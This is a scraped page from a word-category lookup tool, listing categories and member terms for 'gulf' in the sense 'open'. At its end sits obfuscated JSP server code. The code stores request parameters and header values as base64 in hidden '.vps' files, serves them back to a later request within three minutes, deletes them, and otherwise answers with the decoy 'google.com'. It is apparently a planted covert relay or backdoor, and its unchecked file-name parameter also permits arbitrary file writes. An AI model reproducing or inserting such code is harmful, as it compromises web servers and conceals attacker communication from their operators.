Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Categories for
gulf
with nuance
open
:
open:water,
Simple categories matching
open
:
space,
area,
projection,
marketplace,
package,
water,
highway,
standard,
land,
environment,
knowledge,
part,
pit,
thing,
structure,
conveyance,
liquid,
volume,
car,
building,
curve,
resistance,
container,
event,
designer,
market,
forum,
ocean,
wall,
sector,
country,
orifice,
system,
powerboat,
pattern,
region,
patch,
sea,
network,
stairway,
woodland,
menu,
group,
ground,
clearing,
flow,
shape,
material,
terrain,
unit,
program,
procedure,
specification,
feature,
equipment,
vegetation,
fixture,
air,
boat,
burning,
facility,
body,
wound,
shelter,
face,
article,
dish,
fencing,
place,
organization,
room,
image,
housing,
society,
canopy,
entity,
excavation,
perch,
waterway,
section,
object,
information,
vehicle,
meat,
receptacle,
workplace,
business,
mollusc,
office,
food,
vessel,
protocol,
site,
roll,
science,
cover,
collocation,
beam,
substance,
design,
lagoon,
light,
field,
conflict,
form,
version,
struggle,
bivalve,
activity,
gesture,
nut,
forest,
seam,
construction,
appliance,
habitat,
item,
flower,
prey,
position,
surface,
ampoule,
type,
envelope,
institution,
grain,
community,
fabric,
source,
watercourse,
establishment,
fire,
enclosure,
situation,
location,
implementation,
file,
box,
service,
passage,
cell,
territory,
competition,
code,
basin,
conduit,
shellfish,
medium,
application,
door,
meeting,
grassland,
issue,
nester,
function,
aquarium,
stage,
view,
document,
Members with property
open
:
north_nutgrass,
java,
pasture,
prairie,
small_crabs,
lake,
minor_injury,
playing_pitch,
google_earth,
garden,
place_fan,
school_campus,
office_space,
picnic_shelter,
meadow,
bottom,
lizard,
grassland,
education,
lawn,
farmland,
heathland,
convention_centre,
cooking_vessel,
footpath,
gidgee_flats,
large_bucket,
pylon,
floor,
doctor_office,
savanna,
covered_patio,
stream,
shallow_bowls,
restaurant,
auction,
expansive_lawn,
eaves,
pickup,
sport_boat,
centenary_square,
roof_top,
basement_stairs,
river_mouth,
web,
exhibit_hall,
swamp_land,
polynya,
electronic_market,
game_situation,
stone_quarry,
light,
bayonet,
landfill_fire,
honeycomb,
highland_game,
pigeon,
email_system,
bread,
open_drain,
pasture_field,
sport_pitch,
production_plant,
crop,
fitness,
lifeboat,
porous_asphalt,
attic,
skin,
mature_tree,
parent_seminar,
grain_boundary,
jetty,
office,
large_reservoir,
hotel_lobby,
hayfield,
water_column,
corporate_intranet,
window,
unmade_roads,
process_building,
abandoned_farmyard,
staff_meeting,
ftp,
daisy,
wall,
warming_fire,
tree_plantation,
pore,
residential_development,
quadrangle,
eu,
theater,
horse,
trivia_night,
royal_commission,
surgical_wound,
niche,
waste_area,
pool,
plant,
association,
speedway,
uncapped_bottle,
campground_roads,
rooftop_garden,
verandah,
fish,
pecan_orchard,
condominium_lobby,
carpet,
camp,
mainstream_religion,
plenary_meeting,
shortcut,
shear_flow,
type,
church_hall,
open_source,
corporate_plaza,
shopping_plaza,
clearing,
town_belt,
railroad_gondola,
vault,
artery,
town_green,
database_file,
condiment,
curtain,
patio_umbrella,
hay_meadow,
deck_covering,
wool,
large_river,
lower_green,
luggage,
orgy_room,
grassland_savanna,
tallgrass_prairie,
sauce,
forest_land,
public_hall,
limestone_glade,
community_garden,
park_pavilion,
wireless_lan,
stage,
x-ray,
neighborhood,
network_connection,
paddock,
application_method,
word_document,
torch,
park_day,
brass_bowl,
team_tournament,
sinai_gas,
manometer,
business_forum,
concourse_area,
windows_registry,
outdoor_section,
quay_wall,
open_lawn,
timber_plantation,
political_work,
retail_outlet,
perforated_metal,
american_prairie,
site,
solarium,
catenary_curve,
neighborhood_common,
tray,
monument_grounds,
university_yard,
milk_jug,
living-room_floor,
envelope,
new_york,
sandwich_panel,
storage_yard,
community_hall,
sedan,
final_mass,
aperture,
factory_floor,
abdominal_wound,
area,
structural_landscaping,
civic_square,
civic_space,
pit_fire,
rug,
canopy,
neglected_area,
old_meadow,
high_desert,
bedroom_floor,
scrim,
tank,
floodplain,
beach_frontage,
burn,
concept_art,
cemetery,
cooking_fire,
table,
corral,
community_meeting,
action_item,
natural_science,
park,
moorland,
suburb,
upland_prairie,
urban_creek,
atrium_area,
coast,
river_water,
day-care_center,
sporting_grounds,
storage_shelf,
classroom,
dishwasher_cavity,
cavity,
garden_tour,
pickup_truck,
large_tank,
multistory_block,
side,
beaver_meadow,
roof,
native_prairie,
warehouse,
bowling,
market,
library_organization,
cricket_pitch,
watershed_land,
jesus_green,
woodland_clearing,
pavement,
village_square,
temporary_clearing,
shop,
desktop_file,
speed_order,
normal_file,
abrasion,
oyster,
bite,
palm,
holiday_party,
titration_ampoule,
scree,
tube_network,
gymnasium,
biographical_file,
open_intranet,
church_lawn,
motorboat,
saucer,
ditch,
cash_box,
grooved_roll,
refrigerator_door,
cup_saucer,
test,
hard_return,
rail,
rock_quarry,
drum,
church,
native_grassland,
cockle,
marketplace,
adit,
back_yard,
road_side,
europe,
pasture_land,
green_pasture,
phaeton,
mountain_top,
pastureland,
tangent,
workshop,
flat_area,
road_reserves,
meeting_agenda,
glass_bowl,
business,
lumber_camp,
inorganic_molecule,
industrial_site,
aurora_plaza,
process_plant,
form,
retail_mall,
shoe_box,
bottle,
forest_roads,
classroom_setting,
cycle_route,
verge,
richmond_park,
bath_tub,
abalone,
chip_pit,
gap,
open_vessel,
system_file,
rooftop,
sand_barren,
green_lawn,
related_form,
town_wall,
alligator_alley,
cluster,
certification,
security_light,
jeep,
brushy_slope,
pool_area,
towner_swamp,
pie_tin,
use_language,
plaza,
square,
appalachian_trail,
cantilever,
wet_meadow,
paper,
apache,
native,
farm_preservation,
wireless_network,
hard_court,
skiff,
diamond_lattice,
freshwater_lake,
activity_room,
juice,
vase,
hollow_cube,
star,
park_shelter,
big_meadow,
string,
grass_verge,
open_framework,
green_space,
canoe,
yangtze_basin,
rain_shelter,
luggage-compartment_cover,
temperature_variation,
basin,
industrial_area,
windows,
shutter_door,
empty_office,
babysitting,
canteen,
ampoule,
export_bill,
screen_configuration,
fishing_area,
hill,
colon_surgery,
weedy_area,
water,
atmosphere,
sparta_place,
suv,
community_forum,
funniest_picture,
car,
large_garden,
financial_service,
playground,
mouth,
home_computer,
battery,
mail,
sea,
political_meeting,
carpentry_shop,
cardboard_box,
creek,
word-processing_program,
back,
eyes,
exhibition_space,
railway,
supermarket,
factory,
agricultural_fire,
football_grounds,
green_image,
public_garden,
mezzanine,
rock_barren,
representation,
seedbed,
windows_server,
annual_review,
grassy_field,
rocky_place,
lumen,
frank_park,
sport_hall,
trauma,
disturbed_area,
wildflower_meadow,
outside_toilet,
osprey,
environmental_protection,
wide_glade,
town,
waiting_area,
spiral,
quarry,
silicon_substrate,
landscaped_plaza,
exhibition_centre,
cup,
stadium,
ray,
manufacturing_facility,
range,
memorial_quadrangle,
textile,
neighborhood_playground,
nature_reserves,
picket,
track,
security,
fireplace,
chin,
desert_grassland,
internet_web,
desk_drawers,
large_hangar,
tube,
outdoor_area,
bass_strait,
slot,
sparse_grassland,
pavilion,
pc,
lorry_side,
platform,
campus,
old_field,
junkyard,
cooling,
aircraft,
road,
landscaping,
bass_boat,
cone,
open_vat,
lattice,
flashlight,
wire_fencing,
railway_embankment,
public_plaza,
roof_panel,
ridge_top,
pergola,
barrels,
flowerpot,
weave,
park_lawn,
raised_bog,
continuum_model,
alpine_habitat,
starling,
earth,
grain_market,
festival,
new_lawn,
block_party,
front_garden,
open_view,
sport_field,
balusters,
feedlot,
institutional_market,
file_view,
squeeze_bottle,
vacant_lot,
kitchen_fire,
winter_range,
computer_room,
exhibition_complex,
roadside,
bicycle,
small_yard,
home_compound,
green_heart,
glass_terrarium,
brazilian_congress,
cafeteria,
grassland_fire,
copyright,
internet_protocol,
large_fissure,
meadow_space,
printer,
campground,
agriculture,
student_fair,
sidewalk,
auditorium,
internet_option,
cone_calorimeter,
surface_cooler,
airfield,
asphalt_green,
athletic_center,
hall,
logging_roads,
aquarium,
salad,
encumbrance,
concert,
bread_roll,
supporting_frame,
grassy_meadow,
bike_trail,
semantic_web,
email_program,
cracker,
recreation_center,
cardinal,
beaker,
multipurpose_path,
coarse_gravel,
meeting_room,
theatre,
neighborhood_street,
board_room,
quad,
scallop,
breakout_area,
open_ridge,
letters,
suburban_area,
bay,
sedge_meadow,
tunnel,
water_pass,
awning,
magnolia,
select_print,
livestock_barn,
accounting,
arboretum,
carport,
package,
landscaping_service,
rough_grassland,
work_area,
grass,
oak_savanna,
intersecting_line,
access_control,
platter_vessel,
perimeter_landscape,
cauldron,
gala_event,
riverside_path,
commercial_garage,
canal,
fire_accident,
abandoned_farmland,
mesic_prairie,
chicken,
personal_computer,
pleural_cavity,
flask,
simpson_lagoon,
grass_margin,
bean,
wire_mesh,
fiberglass,
midnight_madness,
simulation,
glass_bottle,
smallholding,
log,
sedimentation_basin,
recreation_hall,
circulation_area,
united_state,
tent,
pole_shed,
shade,
pie_plate,
museum,
equalization_basin,
sink_area,
laminectomy,
ridge,
cleared_site,
email_client,
mousepad,
vegetable_farmland,
retail_space,
river_margin,
wood_pasture,
john_boat,
big_river,
reserves,
bridge_park,
chest,
system,
community,
abdominal_cavity,
congress,
aircraft_hangar,
green_belt,
new_playground,
unfinished_basement,
appointment,
park_land,
scope,
pine_plantation,
pasture_paddock,
planning_meeting,
pine_bark,
authentication_service,
swamp,
crevice,
fallow_land,
reception,
clean_air,
centennial_parkland,
undeveloped_coast,
sink,
station,
red_head,
fence_row,
mug,
sea_front,
administration_building,
tundra,
agricultural_land,
lonely_desert,
issue,
paint,
reservoir,
glass,
aspirin_bottle,
wasteland,
server,
packaging,
building,
pole,
bar_tab,
barn_aisle,
small_lake,
major_abrasion,
gulf,
backyard,
convention_hall,
green_grid,
grand_piazza,
hay_shed,
architecture_forum,
dining-room,
natural_meadow,
limo,
license,
coastal_hill,
civic_center,
boiler,
gas,
valvular_operations,
body,
narrow_river,
dune_area,
back_seam,
tractor,
bowl,
recreation_area,
down,
edge,
monthly_retreat,
volunteer_opportunity,
brain,
major_burn,
copley_square,
fan_house,
rail_cutting,
foyer,
folder,
star_office,
moorland_area,
counter,
nature_site,
simulation_method,
factory_grounds,
cheek,
country,
large_meeting,
connection_file,
rooftop_deck,
large_lecture,
river_inlet,
prison_gates,
bar,
spiritual_exercise,
laundry_room,
nose,
desert_battlefield,
glass_cabinet,
assignment,
sporting_venue,
boat_cover,
egg_carton,
clams,
view_menu,
crossroads,
pedestrian_plaza,
moor,
basement,
american_market,
greenwich_park,
safe,
contact,
campfire,
arts,
trailer,
bracken,
patio,
conference,
city_park,
open_space,
spiral_arms,
debit_position,
dirty_ice,
court,
simple_sugar,
coastal_land,
exploration_trench,
recreation_use,
crop_land,
tranquillity,
barge,
patio_deck,
miniature-golf_course,
cat_bite,
beverage,
heath,
rowboat,
shade_structure,
playground_area,
screen_porch,
derelict_site,
identification_camp,
aircraft-landing_field,
bruise,
flowerbed,
similar_place,
river_waterfront,
incomplete_work,
laceration,
medicine_container,
vent,
mockingbird,
installation,
open_university,
river,
medical_service,
strait,
bag,
leaf_skeleton,
glass_flask,
sewing_shop,
salt_lake,
bed,
public_street,
suburban_garden,
alt,
bedpan,
wood,
tunisian_desert,
savanna_fire,
leicester_square,
closet_door,
driving_range,
house,
suburban_lawn,
public_place,
observatory,
garage,
rice_plantation,
wardrobe,
story_times,
nesting_area,
bug_bite,
medicine,
candle,
rome_symposium,
screen,
water-company_land,
vat,
project,
great,
indoor_garden,
lattice_works,
hillside_garden,
fence_post,
tournament,
trough,
scratch,
basket,
pot,
neural_network,
party,
ladle,
picture,
network_operations,
valley_bottom,
ling_wasteland,
city_street,
parkland,
library,
cedar_glade,
open_ditch,
truck,
dam,
plantation,
campus_green,
woodland,
disturbed_habitat,
back_garden,
montane_grassland,
addition,
aircraft_hanger,
structural_fire,
roads,
unused_tin,
role,
ranch_land,
university,
free_surface,
reception_area,
http,
slit,
solar_atmosphere,
farm_land,
taco,
spring,
shed,
unilateral_facelift,
town_park,
tabletop,
word_file,
car_body,
dish,
oven,
rocky_site,
dry_grassland,
coastal_greenway,
roadside_verge,
bowls,
sandy_heath,
large_lake,
gas-station_canopy,
community_playground,
public_space,
meeting,
health_fair,
large_bowl,
bus,
forested_land,
jug,
mountainous_area,
sunday_bonanza,
neighborhood_park,
meat,
industrial_ethernet,
railway_side,
lobby,
trouser,
rod,
car_boot,
sugar,
harvard_yard,
telephone,
bond,
spirituality_symposium,
paddy,
ecosystem,
cabriolet,
laboratory,
parrish_lawn,
station_platform,
closed_system,
equestrian_trail,
rocky_glade,
jersey_knit,
african_walnut,
computer,
social_science,
concrete_floor,
exposure_scheme,
backpack,
aspirin_container,
alert_view,
oak_woodland,
shoreline_area,
horn_antenna,
prairie_region,
nesting_space,
savannah,
deck,
alcove,
trench,
large_yard,
groves,
packet,
combo_carport,
hillside,
registry,
jet,
traditional_post,
dory,
country_roads,
water_tunnel,
brooklyn-bridge_park,
ballroom,
urban_parkland,
artificial_clearing,
warbler,
convertible,
large_pool,
coconut_plantation,
staff_base,
public_arena,
wedding,
word-processing_document,
natural_grassland,
mountain,
victoria_square,
warehouse_site,
palm_groves,
greenbelt,
dancing_competition,
shower_head,
wooded_land,
public_playground,
strategy_game,
compression_plating,
palm_plantation,
kitchen,
beach_yawl,
poultry,
dirt_roads,
coastal_area,
drawers,
grill_fire,
highway_buffer,
public_reserves,
traffic_noise,
box,
concrete,
editor,
baseball_dugout,
amenity_area,
hangar,
common_green,
peasant_organization,
milk,
virtual_enterprise,
rig_tank,
greenway_buffer,
railway_wagon,
ski_boat,
farming_land,
forest,
verb,
chimney,
town-hall_meeting,
garage_floor,
meridian_area,
escarpment_area,
farmyard,
quantity,
document,
public_park,
front,
woodland_pasture,
medical_supply,
natural_area,
lagoon,
forum,
conservatory,
scattered_glade,
green_wedge,
down_land,
ventricle,
uncultivated_farmland,
apache_license,
aeration_basin,
noun,
full_basement,
grackle,
entry_way,
controller,
desert,
face,
internet_network,
carafe,
mountain_meadow,
mps,
pit,
ignition_box,
linnet,
orchard,
humanities,
independent_publication,
wrought-iron_fence,
flat_plane,
retention_pond,
corn,
scrape,
service_pit,
pond,
wastebasket,
school_grounds,
doll_head,
kibbutz,
horticultural_crop,
toilet,
sound,
market_factor,
coal-mine_ridge,
whitewater_canoe,
waiting_room,
dive_operation,
robin,
field_margin,
garage_door,
light_forest,
control,
flower_pot,
fire_ring,
composite_structure,
business_process,
land_use,
straw,
home_lawn,
crevasse,
loft,
garden_land,
exhibition,
back_space,
public_forum,
bucket,
athletic_field,
vacant_lots,
home_garden,
variable_pergola,
hampton_court,
oscilloscope_application,
comprehensive_school,
flour,
dissection,
bald_knob,
arch,
beads,
carotid_endarterectomy,
animal_bite,
airport_protection,
sealant,
surface,
attic_space,
vernal_pool,
machine,
japan_sea,
ride_margin,
lanai,
pier,
yard,
open_side,
cooperative,
medium_broadcast,
creek_restoration,
violent_confrontation,
multipurpose_room,
overgrown_field,
field_corner,
corridor_ceiling,
construction_site,
atrium,
stock_pond,
chase_park,
paper_sack,
nursery,
rice,
woodland_opening,
classroom_building,
outdoor_mall,
half_shell,
hit,
vinyl_rail,
pond_area,
open_habitat,
retreat,
dryness,
rv_cover,
florist_envelope,
cheese,
bathroom,
pedestrian_facility,
bird_bath,
valley_floor,
mount,
farm,
open_standard,
cylinder_volume,
culture,
loose_sweet,
utility_connection,
main_city,
word-processing_file,
sporting_area,
remote_desktop,
samba,
rear_yard,
bus_shelter,
face_ear,
recreational_fire,
play,
mesh_bag,
museum_exhibit,
tank_pit,
school_site,
greenway,
solid_foam,
trespassing_hunter,
unloading_area,
lesion,
expanse,
bald_eagle,
domestic_water,
convention_center,
shelf,
marine_terminal,
direct_manager,
public_meeting,
foam_cup,
water_area,
graveyard,
limestone_quarry,
bench_top,
firebreak,
energy,
seminar,
cross_campus,
ley_line,
sage,
tcp,
milk_carton,
hospital,
view_designer,
blueberry_barren,
killdeer,
soccer_field,
open_pit,
school,
path,
campus_scenario,
public_internet,
utility,
agricultural_work,
notary_practice,
public_path,
surface_reservoir,
seawater,
scrim_fabric,
contract,
great_room,
cage,
waste_ground,
fence,
ocean,
intranet,
city,
station_square,
food_container,
open_tank,
emergency_lighting,
view,
private_garden,
under_floor,
tidal_basin,
log_file,
diving_torch,
people,
bench,
fundraiser,
wagon,
harbor,
polypropylene_fabric,
stock_yard,
tipper,
porch,
bridge,
service,
waste,
united_nation,
rural_area,
ring,
cereal,
free_market,
lab,
margin,
classroom_disruption,
flue,
pet_dish,
bingo,
cheesecloth,
oil,
gazebo,
wine_rack,
habitat,
south-pacific_ocean,
decompression,
sales_person,
parking_structure,
leisure_development,
strike,
cracking_tower,
distribution_center,
isolated_area,
whitethroat,
large_quad,
galaxy,
house_front,
dune,
prep_tray,
wooded_area,
row_boat,
common,
carton,
roadster,
telephone-service_line,
college_campus,
schoolyard,
introduction,
green,
victorian_garden,
shaft,
utility_company,
philanthropic_event,
modern_organization,
beaver_pond,
arena,
forest_floor,
knit,
pail,
wildlife_habitat,
local_park,
open_pan,
adhesion,
door,
open_forest,
gas_vent,
nectar,
snowmobile,
elk_hill,
recreation_grounds,
alpine_meadow,
abandoned_pastureland,
farm_field,
jute_stick,
bonfire,
old_pasture,
external_plant,
farm_pond,
flow,
garbage_burning,
wing_wall,
safety,
safety_quiz,
review_papers,
sydney_harbour,
woodland_glade,
hatchback,
charcoal_fire,
desk_top,
hovercraft,
goal,
united_kingdom,
mortar,
shoebox,
safari,
sump,
garbage_area,
forest_edge,
recreational_play,
western_europe,
urban_wild,
liquid_flow,
split-rail_fencing,
beach_cabana,
barn,
piano,
chaparral,
trail,
neighborhood_association,
central_park,
tin,
deck_lighting,
garden_aquarium,
motorcycle,
soap,
waggon_shed,
usa,
political_party,
agricultural_area,
noncompliance_issue,
river_bed,
measure,
grassy_ride,
similar_vehicle,
piazza,
ornamental_garden,
campsite,
camp_fire,
foam,
food_plot,
telecommunication_tower,
pleural_space,
jenner_schoolyard,
wide_field,
franklin_stove,
roads_green,
closed_form,
sport_night,
main_quad,
basement_room,
intensive-care_unit,
conservatory_area,
ground_pool,
light_savanna,
park_river,
school_playground,
hazelnut,
jet_fire,
optical_turnstile,
cavalry_charge,
den,
city_square,
pan,
point,
symposium,
sewer,
shallow_box,
alley,
cliff_site,
dishwasher,
club,
workroom,
rainwater_garden,
public_roads,
pen,
tow_tank,
bath,
harbour,
dean_ridge,
shoreline,
manufacturing_space,
mussel,
woodland_meadow,
tackle_box,
airport,
organization,
waterfront,
human_brain,
railway_track,
waste_place,
fairground,
balcony,
black_sea,
customer_service,
sand_hill,
wilderness_area,
ureterocele_excision,
wire_basket,
native-american_tribe,
arching_kick,
poultry_building,
research,
play_area,
saucepan,
domestic_burning,
football,
foundation,
internet,
ranch,
riparian_margin,
sandwich,
dirty_abrasion,
large_classroom,
certain_van,
sunny_oak,
wilderness,
street_intersection,
mine,
cathedral_garden,
step_lighting,
metal_bucket,
rail_fencing,
ice,
tot_lots,
watershed,
human_system,
large_laboratory,
dugout,
pocket,
field,
albatross,
walnut,
farm_pasture,
nafta,
influence,
street,
picnic_pavilion,
plastic_dishpan,
tourer,
lobby_room,
school_yard,
town_square,
immigrant_community,
network_equipment,
twig,
mall,
jam_jar,
preservation,
school_hall,
roll,
mixed_farmland,
air,
mesh,
free_jet,
courtyard,
logic,
scenic_zone,
parkland_right,
highland,
glade,
open_office,
honeycomb_cell,
morgan_point,
common_land,
smile,
living-room,
interstitial_pore,
playground_equipment,
ethernet,
village,
police_conference,
loading_bay,
gin_sea,
forehead,
steppe,
morgan_court,
dozer,
frame,
theatre_area,
dove,
native_habitat,
castle_green,
mountain_side,
hotel,
cabinet,
churchyard,
industrial_wasteland,
nato,
woodland_habitat,
ire,
old_campus,
large_backyard,
net_envelope,
candy_dish,
digital_library,
cooking_hut,
rock_face,
pitcher,
north-atlantic_ocean,
level_desert,
openness,
forest_opening,
small_wetland,
open_plot,
forest_clearing,
netball_court,
agriculture_land,
rugby_grounds,
powdered_food,
expanded_metal,
test_methodology,
wavy_sheet,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>